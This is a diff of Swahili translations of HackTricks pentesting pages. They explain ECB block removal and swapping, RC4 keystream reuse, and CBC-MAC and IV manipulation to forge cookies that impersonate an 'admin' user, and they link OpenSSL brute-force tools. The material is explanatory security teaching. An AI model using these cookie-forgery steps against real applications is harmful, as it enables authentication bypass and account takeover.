||||
|
||||
## Crypto Rahisi
|
||||
|
||||
|
|
@ -249,7 +250,7 @@ wodsyoidrods
|
|||
|
||||
### Fernet
|
||||
|
||||
2 mizunguko ya msingi64 (tokeni na ufunguo)
|
||||
2 mizinga ya msingi64 (ishara na ufunguo)
|
||||
```
|
||||
Token:
|
||||
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
|
||||
|
|
@ -259,7 +260,7 @@ Key:
|
|||
```
|
||||
* [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
|
||||
|
||||
### Kugawanya Siri ya Samir
|
||||
### Ugawaji wa Siri wa Samir
|
||||
|
||||
Siri inagawanywa katika sehemu X na ili kuipata unahitaji sehemu Y (_Y <=X_).
|
||||
```
|
||||
|
|
@ -269,7 +270,7 @@ Siri inagawanywa katika sehemu X na ili kuipata unahitaji sehemu Y (_Y <=X_).
|
|||
```
|
||||
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
|
||||
|
||||
### Kuvunja nguvu ya OpenSSL
|
||||
### Kuforce ya OpenSSL
|
||||
|
||||
* [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
|
||||
* [https://github.com/carlospolop/easy\_BFopensslCTF](https://github.com/carlospolop/easy\_BFopensslCTF)
|
||||
|
|
@ -280,16 +281,17 @@ Siri inagawanywa katika sehemu X na ili kuipata unahitaji sehemu Y (_Y <=X_).
|
|||
* [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
|
||||
* [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster)
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & zoezi Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoezi Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,34 +1,35 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha** [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# ECB
|
||||
|
||||
(ECB) Kitabu cha Msimbo wa Elektroniki - mpango wa kuficha wa kisimetri unaobadilisha kila kibodi cha maandishi wazi kwa kibodi ya maandishi yaliyofichwa. Ni mpango wa kuficha **rahisishi**. Wazo kuu ni **kugawanya** maandishi wazi katika **vibodi vya N bits** (inategemea saizi ya kibodi ya data ya kuingia, algorithm ya kuficha) na kisha kuficha (kufichua) kila kibodi ya maandishi wazi kwa kutumia funguo pekee.
|
||||
(ECB) Kitabu cha Msimbo wa Kielektroniki - mpango wa kuficha wa kisimetri unaobadilisha kila kibodi cha maandishi wazi kwa kibodi ya maandishi yaliyofichwa. Ni mpango wa kuficha **rahisishi**. Wazo kuu ni **kugawa** maandishi wazi katika **vibodi vya N bits** (inategemea saizi ya kibodi ya data ya kuingia, algorithm ya kuficha) na kisha kuficha (kufichua) kila kibodi ya maandishi wazi kwa kutumia funguo pekee.
|
||||
|
||||
|
||||
|
||||
Kutumia ECB kuna athari nyingi za usalama:
|
||||
|
||||
* **Vibodi kutoka kwenye ujumbe uliofichwa vinaweza kuondolewa**
|
||||
* **Vibodi kutoka kwenye ujumbe uliofichwa vinaweza kuhamishwa**
|
||||
* **Vibodi kutoka ujumbe uliofichwa vinaweza kuondolewa**
|
||||
* **Vibodi kutoka ujumbe uliofichwa vinaweza kuhamishwa**
|
||||
|
||||
# Kugundua udhaifu
|
||||
|
||||
Fikiria unajiingia kwenye programu mara kadhaa na **unapata kuki ile ile kila wakati**. Hii ni kwa sababu kuki ya programu ni **`<jina la mtumiaji>|<nywila>`**.\
|
||||
Kisha, unazalisha watumiaji wapya, wote wawili wakiwa na **nywila ndefu ile ile** na **karibu** **jina la mtumiaji** **lile lile**.\
|
||||
Unagundua kwamba **vibodi za 8B** ambapo **habari za watumiaji wote** ni sawa ni **sawa**. Kisha, unafikiria kwamba hii inaweza kuwa kwa sababu **ECB inatumika**.
|
||||
Fikiria unaingia kwenye programu mara kadhaa na **unapata kuki ile ile** kila wakati. Hii ni kwa sababu kuki ya programu ni **`<jina la mtumiaji>|<nywila>`**.\
|
||||
Kisha, unazalisha watumiaji wapya, wote wawili wakiwa na **nywila ndefu sawa** na **karibu** **jina la mtumiaji** **sawa**.\
|
||||
Unagundua kwamba **vibodi za 8B** ambapo **taarifa za watumiaji wote** ni sawa ni **sawa**. Kisha, unafikiria kwamba hii inaweza kuwa kwa sababu **ECB inatumika**.
|
||||
|
||||
Kama katika mfano ufuatao. Angalia jinsi hizi **kuki 2 zilizofichuliwa** zina mara nyingi kibodi **`\x23U\xE45K\xCB\x21\xC8`**
|
||||
```
|
||||
|
|
@ -38,41 +39,41 @@ Kama katika mfano ufuatao. Angalia jinsi hizi **kuki 2 zilizofichuliwa** zina ma
|
|||
```
|
||||
Hii ni kwa sababu **jina la mtumiaji na nywila ya vidakuzi hivyo vilikuwa na mara nyingi herufi "a"** (kwa mfano). **Vipande** ambavyo ni **tofauti** ni vipande vilivyokuwa na **angalau herufi 1 tofauti** (labda kizuizi "|" au tofauti muhimu katika jina la mtumiaji).
|
||||
|
||||
Sasa, mkaidi anahitaji tu kugundua ikiwa muundo ni `<jina la mtumiaji><kizuizi><nywila>` au `<nywila><kizuizi><jina la mtumiaji>`. Ili kufanya hivyo, anaweza tu **kuzalisha majina kadhaa ya mtumiaji** na **majina ya mtumiaji na nywila ndefu na sawa** hadi apate muundo na urefu wa kizuizi:
|
||||
Sasa, mshambuliaji anahitaji tu kugundua ikiwa muundo ni `<jina la mtumiaji><kizuizi><nywila>` au `<nywila><kizuizi><jina la mtumiaji>`. Ili kufanya hivyo, anaweza tu **kuunda majina mengi ya mtumiaji** na **majina ya mtumiaji na nywila ndefu na sawa** hadi apate muundo na urefu wa kizuizi:
|
||||
|
||||
| Urefu wa Jina la Mtumiaji: | Urefu wa Nywila: | Urefu wa Jina la Mtumiaji+Nywila: | Urefu wa Kuki (baada ya kudecode): |
|
||||
| --------------------------- | ---------------- | --------------------------------- | ----------------------------------- |
|
||||
| 2 | 2 | 4 | 8 |
|
||||
| 3 | 3 | 6 | 8 |
|
||||
| 3 | 4 | 7 | 8 |
|
||||
| 4 | 4 | 8 | 16 |
|
||||
| 7 | 7 | 14 | 16 |
|
||||
| --------------------------- | ---------------- | ---------------------------------- | ----------------------------------- |
|
||||
| 2 | 2 | 4 | 8 |
|
||||
| 3 | 3 | 6 | 8 |
|
||||
| 3 | 4 | 7 | 8 |
|
||||
| 4 | 4 | 8 | 16 |
|
||||
| 7 | 7 | 14 | 16 |
|
||||
|
||||
# Kutumia Udhaifu
|
||||
|
||||
## Kuondoa Vipande Vyote
|
||||
## Kuondoa vipande vyote
|
||||
|
||||
Kwa kujua muundo wa kuki (`<jina la mtumiaji>|<nywila>`), ili kujifanya kuwa jina la mtumiaji `admin` tengeneza mtumiaji mpya aitwaye `aaaaaaaaadmin` na pata kuki na uidecode:
|
||||
Kwa kujua muundo wa kuki (`<jina la mtumiaji>|<nywila>`), ili kujifanya kuwa jina la mtumiaji `admin` unaweza kuunda mtumiaji mpya aitwaye `aaaaaaaaadmin` na kupata kuki na kuidecode:
|
||||
```
|
||||
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
||||
```
|
||||
Tunaweza kuona mfano `\x23U\xE45K\xCB\x21\xC8` uliozalishwa hapo awali na jina la mtumiaji lililokuwa na `a` pekee.\
|
||||
Kisha, unaweza kuondoa block ya kwanza ya 8B na utapata kidakuzi halali kwa jina la mtumiaji `admin`:
|
||||
Kisha, unaweza kuondoa kibodi cha kwanza cha 8B na utapata kuki halali kwa jina la mtumiaji `admin`:
|
||||
```
|
||||
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
||||
```
|
||||
## Kuhamisha vitengo
|
||||
## Kuhamisha vitalu
|
||||
|
||||
Katika mifumo mingi ya database ni sawa kutafuta `WHERE username='admin';` au `WHERE username='admin ';` _(Kumbuka nafasi za ziada)_
|
||||
|
||||
Kwa hivyo, njia nyingine ya kujifanya kuwa mtumiaji `admin` ingekuwa:
|
||||
Kwa hivyo, njia nyingine ya kujifanya kuwa mtumiaji `admin` itakuwa:
|
||||
|
||||
* Tengeneza jina la mtumiaji ambalo: `len(<username>) + len(<delimiter) % len(block)`. Kwa saizi ya block ya `8B` unaweza kutengeneza jina la mtumiaji linaloitwa: `username `, na delimiter `|` kipande `<username><delimiter>` kitazalisha block 2 za 8Bs.
|
||||
* Kisha, tengeneza nenosiri litakaloweka idadi kamili ya blocks zinazoleta pamoja jina la mtumiaji tunayetaka kujifanya kuwa yeye na nafasi, kama: `admin `
|
||||
* Tengeneza jina la mtumiaji ambalo: `len(<username>) + len(<delimiter) % len(block)`. Kwa ukubwa wa block wa `8B` unaweza kutengeneza jina la mtumiaji liitwalo: `username `, na delimiter `|` kipande `<username><delimiter>` kitazalisha vitalu 2 vya 8Bs.
|
||||
* Kisha, tengeneza nenosiri litakaloweka idadi kamili ya vitalu vinavyoleta pamoja jina la mtumiaji tunayetaka kujifanya kuwa yeye na nafasi, kama: `admin `
|
||||
|
||||
Cookie ya mtumiaji huyu itakuwa imeundwa na block 3: ya kwanza 2 ni block za jina la mtumiaji + delimiter na ya tatu ni ya nenosiri (ambalo linajifanya kuwa jina la mtumiaji): `username |admin `
|
||||
Cookie ya mtumiaji huyu itakuwa imeundwa na vitalu 3: vya kwanza 2 ni vitalu vya jina la mtumiaji + delimiter na cha tatu ni cha nenosiri (ambacho kinajifanya kuwa jina la mtumiaji): `username |admin `
|
||||
|
||||
**Kisha, tuibadilishe block ya kwanza na ya mwisho na tutakuwa tukijifanya kuwa mtumiaji `admin`: `admin |username`**
|
||||
**Kisha, tuweke vitalu vya kwanza na vile vya mwisho na tutakuwa tukijifanya kuwa mtumiaji `admin`: `admin |username`**
|
||||
|
||||
## Marejeo
|
||||
|
||||
|
|
|
|||
|
|
@ -1,22 +1,42 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoezi la Kuvamia AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la Kuvamia GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
Ikiwa kwa namna fulani unaweza kusimbua maandishi wazi kwa kutumia RC4, unaweza kusimbua yaliyomo yoyote iliyosimbwa na RC4 hiyo (ukiitumia nenosiri lilelile) kwa kutumia tu kazi ya kusimbua.
|
||||
Ikiwa unaweza kwa namna fulani kusimbua maandishi wazi kwa kutumia RC4, unaweza kusimbua yaliyosimbwa na RC4 hiyo (ukitumia nenosiri lilelile) kwa kutumia tu kazi ya kusimbua.
|
||||
|
||||
Ikiwa unaweza kusimbua maandishi wazi yanayojulikana unaweza pia kutoa nenosiri. Marejeo zaidi yanaweza kupatikana kwenye mashine ya HTB Kryptos:
|
||||
Ikiwa unaweza kusimbua maandishi wazi yaliyojulikana unaweza pia kutoa nenosiri. Marejeo zaidi yanaweza kupatikana kwenye mashine ya HTB Kryptos:
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la Kuvamia AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la Kuvamia GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,81 +1,83 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# CBC
|
||||
|
||||
Ikiwa **kidakuzi** ni **jina la mtumiaji** tu (au sehemu ya kwanza ya kidakuzi ni jina la mtumiaji) na unataka kujifanya kuwa jina la mtumiaji "**admin**". Kisha, unaweza kuunda jina la mtumiaji **"bdmin"** na **kuvunja nguvu** herufi ya kwanza ya kidakuzi.
|
||||
Ikiwa **cookie** ni **tu** **jina la mtumiaji** (au sehemu ya kwanza ya cookie ni jina la mtumiaji) na unataka kujifanya kuwa jina la mtumiaji "**admin**". Kisha, unaweza kuunda jina la mtumiaji **"bdmin"** na **kufanya nguvu** ya **byte ya kwanza** ya cookie.
|
||||
|
||||
# CBC-MAC
|
||||
|
||||
**Cipher block chaining message authentication code** (**CBC-MAC**) ni njia inayotumiwa katika kriptografia. Inafanya kazi kwa kuchukua ujumbe na kuifanyia uchawi kwa kila kizuizi, ambapo uchawi wa kila kizuizi unahusishwa na ule uliotangulia. Mchakato huu unajenga **mlolongo wa vizuizi**, kuhakikisha kuwa kubadilisha hata kidogo tu biti ya ujumbe asili kutapelekea mabadiliko yasiyotabirika katika kizuizi cha mwisho cha data iliyofichwa. Ili kufanya au kubadilisha mabadiliko kama hayo, ufunguo wa uchawi unahitajika, kuhakikisha usalama.
|
||||
**Msimbo wa uthibitishaji wa ujumbe wa kufungwa kwa mnyororo** (**CBC-MAC**) ni njia inayotumiwa katika kriptografia. Inafanya kazi kwa kuchukua ujumbe na kuuweka kwa kufungwa kwa kila kibodi, ambapo kufungwa kwa kila kibodi kunahusishwa na ile iliyotangulia. Mchakato huu unajenga **mnyororo wa kibodi**, ikisafisha kwamba kubadilisha hata biti moja tu ya ujumbe halisi kutapelekea mabadiliko yasiyotabirika katika kibodi ya mwisho ya data iliyofungwa. Ili kufanya au kubadilisha mabadiliko kama hayo, muhimu ni ufunguo wa kufungwa, ikihakikisha usalama.
|
||||
|
||||
Kwa kuhesabu CBC-MAC ya ujumbe m, mtu anafanya uchawi wa m katika hali ya CBC na vector ya kuanzisha sifuri na kuhifadhi kizuizi cha mwisho. Picha ifuatayo inaelezea hesabu ya CBC-MAC ya ujumbe unaoundwa na vizuizi kwa kutumia ufunguo wa siri k na uchawi wa kizuizi E:
|
||||
Ili kuhesabu CBC-MAC ya ujumbe m, mtu anafunga m katika hali ya CBC na vector ya kuanzisha sifuri na kuhifadhi kibodi ya mwisho. Mchoro unaofuata unapanga hesabu ya CBC-MAC ya ujumbe unaoundwa na kibodi ukitumia ufunguo wa siri k na kibodi ya kibodi E:
|
||||
|
||||
.svg/570px-CBC-MAC\_structure\_\(en\).svg.png)
|
||||
|
||||
# Udhaifu
|
||||
|
||||
Kwa kawaida, IV inayotumiwa na CBC-MAC ni 0.\
|
||||
Hii ni tatizo kwa sababu ujumbe uliojulikana (`m1` na `m2`) kwa kujitegemea utazalisha saini 2 (`s1` na `s2`). Kwa hivyo:
|
||||
Kwa CBC-MAC kawaida **IV iliyotumiwa ni 0**.\
|
||||
Hii ni tatizo kwa sababu ujumbe 2 uliojulikana (`m1` na `m2`) kila mmoja utazalisha saini 2 (`s1` na `s2`). Kwa hivyo:
|
||||
|
||||
* `E(m1 XOR 0) = s1`
|
||||
* `E(m2 XOR 0) = s2`
|
||||
|
||||
Kisha ujumbe uliojumuishwa na m1 na m2 (m3) utazalisha saini 2 (s31 na s32):
|
||||
Kisha ujumbe uliojumuisha m1 na m2 (m3) utazalisha saini 2 (s31 na s32):
|
||||
|
||||
* `E(m1 XOR 0) = s31 = s1`
|
||||
* `E(m2 XOR s1) = s32`
|
||||
|
||||
**Ambayo inawezekana kuhesabu bila kujua ufunguo wa uchawi.**
|
||||
**Ambayo inawezekana kuhesabu bila kujua ufunguo wa kufungwa.**
|
||||
|
||||
Fikiria unaficha jina **Msimamizi** katika vizuizi vya **8bytes**:
|
||||
Fikiria unafunga jina **Msimamizi** katika kibodi za **8bytes**:
|
||||
|
||||
* `Administ`
|
||||
* `rator\00\00\00`
|
||||
|
||||
Unaweza kuunda jina la mtumiaji linaloitwa **Administ** (m1) na kupata saini (s1).\
|
||||
Kisha, unaweza kuunda jina la mtumiaji linaloitwa matokeo ya `rator\00\00\00 XOR s1`. Hii itazalisha `E(m2 XOR s1 XOR 0)` ambayo ni s32.\
|
||||
Kisha, unaweza kuunda jina la mtumiaji lililopatikana kutoka `rator\00\00\00 XOR s1`. Hii itazalisha `E(m2 XOR s1 XOR 0)` ambayo ni s32.\
|
||||
sasa, unaweza kutumia s32 kama saini ya jina kamili **Msimamizi**.
|
||||
|
||||
### Muhtasari
|
||||
|
||||
1. Pata saini ya jina la mtumiaji **Administ** (m1) ambayo ni s1
|
||||
2. Pata saini ya jina la mtumiaji **rator\x00\x00\x00 XOR s1 XOR 0** ni s32**.**
|
||||
3. Weka kidakuzi kuwa s32 na itakuwa kidakuzi halali kwa mtumiaji **Msimamizi**.
|
||||
3. Weka cookie kwa s32 na itakuwa cookie halali kwa mtumiaji **Msimamizi**.
|
||||
|
||||
# Kudhibiti IV ya Shambulio
|
||||
# Kudhibiti Shambulio la IV
|
||||
|
||||
Ikiwa unaweza kudhibiti IV iliyotumiwa, shambulio linaweza kuwa rahisi sana.\
|
||||
Ikiwa kidakuzi ni jina la mtumiaji tu lililofichwa, ili kujifanya kuwa mtumiaji "**msimamizi**" unaweza kuunda mtumiaji "**Msimamizi**" na utapata kidakuzi chake.\
|
||||
Sasa, ikiwa unaweza kudhibiti IV, unaweza kubadilisha herufi ya kwanza ya IV ili **IV\[0] XOR "A" == IV'\[0] XOR "a"** na kuzalisha upya kidakuzi kwa mtumiaji **Msimamizi**. Kidakuzi hiki kitakuwa halali kwa **kujifanya** kuwa mtumiaji **msimamizi** na IV ya awali.
|
||||
Ikiwa unaweza kudhibiti IV iliyotumiwa shambulio linaweza kuwa rahisi sana.\
|
||||
Ikiwa vidakuzi ni tu jina la mtumiaji lililofungwa, kujifanya kuwa mtumiaji "**msimamizi**" unaweza kuunda mtumiaji "**Msimamizi**" na utapata cookie yake.\
|
||||
Sasa, ikiwa unaweza kudhibiti IV, unaweza kubadilisha Byte ya kwanza ya IV ili **IV\[0] XOR "A" == IV'\[0] XOR "a"** na kuzalisha upya cookie kwa mtumiaji **Msimamizi.** Cookie hii itakuwa halali kwa **kujifanya** mtumiaji **msimamizi** na IV ya awali.
|
||||
|
||||
## Marejeo
|
||||
|
||||
Taarifa zaidi katika [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
|
||||
Maelezo zaidi katika [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
